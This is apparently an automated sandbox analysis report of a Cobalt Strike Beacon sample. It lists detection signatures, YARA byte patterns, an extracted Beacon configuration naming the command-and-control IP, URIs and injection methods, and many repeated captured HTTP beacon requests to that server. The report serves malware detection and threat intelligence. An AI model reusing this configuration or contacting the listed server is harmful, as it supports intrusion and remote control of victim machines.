Edit tour

Windows Analysis Report
beacon_x86.exe

Overview

General Information

Sample name:	beacon_x86.exe
Analysis ID:	1587368
MD5:	bffe5dbe4d4ececc6652360ce37b8075
SHA1:	9e3ccfe33a88fd70ba6b5ac8f72b3bc0c760e798
SHA256:	c86426eeb24a042903b302c21513defb1e61535fc008b7c9e847113ddb798666
Tags:	CobaltStrikeexeuser-lontze7
Infos:

Detection

CobaltStrike

Score:	92
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected CobaltStrike

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Machine Learning detection for sample

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to execute programs as a different user

Contains functionality to launch a process as a different user

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Found decision node followed by non-executed suspicious APIs

Found evasive API chain (date check)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

Program does not show much activity (idle)

Sample execution stops while process was sleeping (likely an evasion)

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64

beacon_x86.exe (PID: 2952 cmdline: "C:\Users\user\Desktop\beacon_x86.exe" MD5: BFFE5DBE4D4ECECC6652360CE37B8075)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Cobalt Strike, CobaltStrike	Cobalt Strike is a paid penetration testing product that allows an attacker to deploy an agent named 'Beacon' on the victim machine. Beacon includes a wealth of functionality to the attacker, including, but not limited to command execution, key logging, file transfer, SOCKS proxying, privilege escalation, mimikatz, port scanning and lateral movement. Beacon is in-memory/file-less, in that it consists of stageless or multi-stage shellcode that once loaded by exploiting a vulnerability or executing a shellcode loader, will reflectively load itself into the memory of a process without touching the disk. It supports C2 and staging over HTTP, HTTPS, DNS, SMB named pipes as well as forward and reverse TCP; Beacons can be daisy-chained. Cobalt Strike comes with a toolkit for developing shellcode loaders, called Artifact Kit.The Beacon implant has become popular amongst targeted attackers and criminal users as it is well written, stable, and highly customizable.	APT 29 APT32 APT41 AQUATIC PANDA Anunak Cobalt Codoso CopyKittens DarkHydrus Earth Baxia FIN6 FIN7 Leviathan Mustang Panda Shell Crew Stone Panda TianWu UNC1878 UNC2452 Winnti Umbrella	http://blog.morphisec.com/new-global-attack-on-point-of-sale-systems http://blog.nsfocus.net/murenshark http://stillu.cc/assets/slides/2023-08-Unmasking%20CamoFei.pdf http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa http://www.secureworks.com/research/threat-profiles/gold-drake	https://malpedia.caad.fkie.fraunhofer.de/details/win.cobalt_strike

Malware Configuration

Threatname: CobaltStrike

{"BeaconType": ["HTTP"], "Port": 80, "SleepTime": 15024, "MaxGetSize": 3341464, "Jitter": 45, "C2Server": "8.148.6.140,/api/v1/get", "HttpPostUri": "/api/v1/post", "Malleable_C2_Instructions": ["Base64 decode"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%allusersprofile%\\CrashReport\\CrashReport.exe", "Spawnto_x64": "%allusersprofile%\\CrashReport\\CrashReport64.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 666666666, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 10192, "ProcInject_PrependAppend_x86": ["Dx+EAAAAAAAPHwAPH0QAAJAPH4QAAAAAAA==", "Dx9EAAAPH0QAAA8fAA8fgAAAAABmDx9EAABmDx+EAAAAAAAPH0AADx9AAA8fQAA="], "ProcInject_PrependAppend_x64": ["kA8fQAAPH4QAAAAAAGYPH0QAAA8fQAAPH4QAAAAAAJBmDx+EAAAAAAAPH0QAAJAPHwAPH4AAAAAADx9AAA8fQABQWGaQZg8fhAAAAAAAZg8fhAAAAAAADx8A", "Dx+AAAAAAA8fhAAAAAAADx9EAABmDx9EAACQDx9EAAAPH4AAAAAAUFgPH4AAAAAADx8ADx+AAAAAAA8fgAAAAAAPH0AADx8AZg8fRAAADx9EAAAPH4QAAAAAAA8fQACQkA=="], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
beacon_x86.exe	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x8f:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000002.3890591328.0000000000D97000.00000004.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0xfb:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_CobaltStrike_f0b627fc	Rule for beacon reflective loader	unknown	0x9d60:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75 0xaa30:$beacon_loader_x86_2: 81 E1 FF FF FF 00 81 F9 41 41 41 00 75 1D 8B 55 D8 81 E2 FF FF FF 00 81 FA 42 42 42 00 75
00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_7bc0f998	Identifies the API address lookup function leverage by metasploit shellcode	unknown	0x364cd:$a1: 48 31 D2 65 48 8B 52 60 48 8B 52 18 48 8B 52 20 48 8B 72 50 48 0F B7 4A 4A 4D 31 C9 48 31 C0 AC 3C 61
00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp	Windows_Trojan_Metasploit_c9773203	Identifies the 64 bit API hashing function used by Metasploit. This has been re-used by many other malware families.	unknown	0x36539:$a: 48 31 C0 AC 41 C1 C9 0D 41 01 C1 38 E0 75 F1 4C 03 4C 24 08 45 39 D1
00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp	Trojan_Raw_Generic_4	unknown	unknown	0xa447:$s0: 83 C6 02 8B 7D E0 B9 40 00 00 00 F3 A4 8B 55 18 52 6A 40 8B 45 E0 50 E8 7B FA FF FF 83 C4 0C 8B 4D E0 51 8B 55 14 52 8B 45 08 8B 48 04 FF D1 0xac58:$s1: 0F B7 11 81 FA 4D 5A 00 00 75 2E 8B 45 F8 8B 48 3C 89 4D FC 83 7D FC 40 72 1F 81 7D FC 00 04 00 00 73 16 8B 55 FC 03 55 F8 89 55 FC 8B 45 FC 81 38 50 45 00 00 75 02 EB 0B 8B 4D F8 83 E9 01 89 ...
Click to see the 1 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.beacon_x86.exe.400000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security
0.0.beacon_x86.exe.400000.0.unpack	JoeSecurity_CobaltStrike_4	Yara detected CobaltStrike	Joe Security

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: beacon_x86.exe

Avira: detected

Found malware configuration

Source: 00000000.00000003.2049538044.0000000000D20000.00000020.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: CobaltStrike {"BeaconType": ["HTTP"], "Port": 80, "SleepTime": 15024, "MaxGetSize": 3341464, "Jitter": 45, "C2Server": "8.148.6.140,/api/v1/get", "HttpPostUri": "/api/v1/post", "Malleable_C2_Instructions": ["Base64 decode"], "HttpGet_Verb": "GET", "HttpPost_Verb": "POST", "HttpPostChunk": 0, "Spawnto_x86": "%allusersprofile%\\CrashReport\\CrashReport.exe", "Spawnto_x64": "%allusersprofile%\\CrashReport\\CrashReport64.exe", "CryptoScheme": 0, "Proxy_Behavior": "Use IE settings", "Watermark": 666666666, "bStageCleanup": "True", "bCFGCaution": "False", "KillDate": 0, "bProcInject_StartRWX": "False", "bProcInject_UseRWX": "False", "bProcInject_MinAllocSize": 10192, "ProcInject_PrependAppend_x86": ["Dx+EAAAAAAAPHwAPH0QAAJAPH4QAAAAAAA==", "Dx9EAAAPH0QAAA8fAA8fgAAAAABmDx9EAABmDx+EAAAAAAAPH0AADx9AAA8fQAA="], "ProcInject_PrependAppend_x64": ["kA8fQAAPH4QAAAAAAGYPH0QAAA8fQAAPH4QAAAAAAJBmDx+EAAAAAAAPH0QAAJAPHwAPH4AAAAAADx9AAA8fQABQWGaQZg8fhAAAAAAAZg8fhAAAAAAADx8A", "Dx+AAAAAAA8fhAAAAAAADx9EAABmDx9EAACQDx9EAAAPH4AAAAAAUFgPH4AAAAAADx8ADx+AAAAAAA8fgAAAAAAPH0AADx8AZg8fRAAADx9EAAAPH4QAAAAAAA8fQACQkA=="], "ProcInject_Execute": ["ntdll:RtlUserThreadStart", "CreateThread", "NtQueueApcThread-s", "CreateRemoteThread", "RtlCreateUserThread"], "ProcInject_AllocationMethod": "VirtualAllocEx", "bUsesCookies": "True", "HostHeader": ""}

Multi AV Scanner detection for submitted file

Source: beacon_x86.exe	Virustotal: Detection: 79%			Perma Link
Source: beacon_x86.exe	ReversingLabs: Detection: 94%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: beacon_x86.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D6DF82 CryptGenRandom,CryptReleaseContext,

0_2_00D6DF82

Source: beacon_x86.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DEBUG_STRIPPED

Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D64225 _malloc,_memset,_strncmp,GetCurrentDirectoryA,FindFirstFileA,GetLastError,FileTimeToSystemTime,SystemTimeToTzSpecificLocalTime,FindNextFileA,FindClose,		0_2_00D64225
Source: C:\Users\user\Desktop\beacon_x86.exe	Code function: 0_2_00D6970E _malloc,__snprintf,FindFirstFileA,_malloc,__snprintf,FindNextFileA,FindClose,		0_2_00D6970E

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: 8.148.6.140

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd

Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140
Source: unknown	TCP traffic detected without corresponding DNS query: 8.148.6.140

Source: C:\Users\user\Desktop\beacon_x86.exe

Code function: 0_2_00D61C3F _memset,__snprintf,__snprintf,__snprintf,HttpOpenRequestA,HttpSendRequestA,InternetCloseHandle,InternetQueryDataAvailable,InternetReadFile,InternetCloseHandle,InternetCloseHandle,

0_2_00D61C3F

Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v1/get HTTP/1.1Content-Type: text/plainAccept: /Accept-Language: zh-CN,zh;q=0.9,en;q=0.8Accept-Encoding: gzip, deflatePriority: u=1, iCookie: _UK=gd3f9vAfNwTV60ENNBgjYsnEyQYTGVo96xMpZjhBpFuR7qjrTTQ9Y0QV3LkxS8ljwTHIU/cP4Ie0XKdPlpL3SPxZHyYZ7RFdNtIimS7gRzpKO+wsEVbyMbrod2jQyDlHWnoyNYamQ9g1MxzWesxfQZcX689JHO4ne6CdN2exZdU=User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36Host: 8.148.6.140Connection: Keep-AliveCache-Control: no-cache
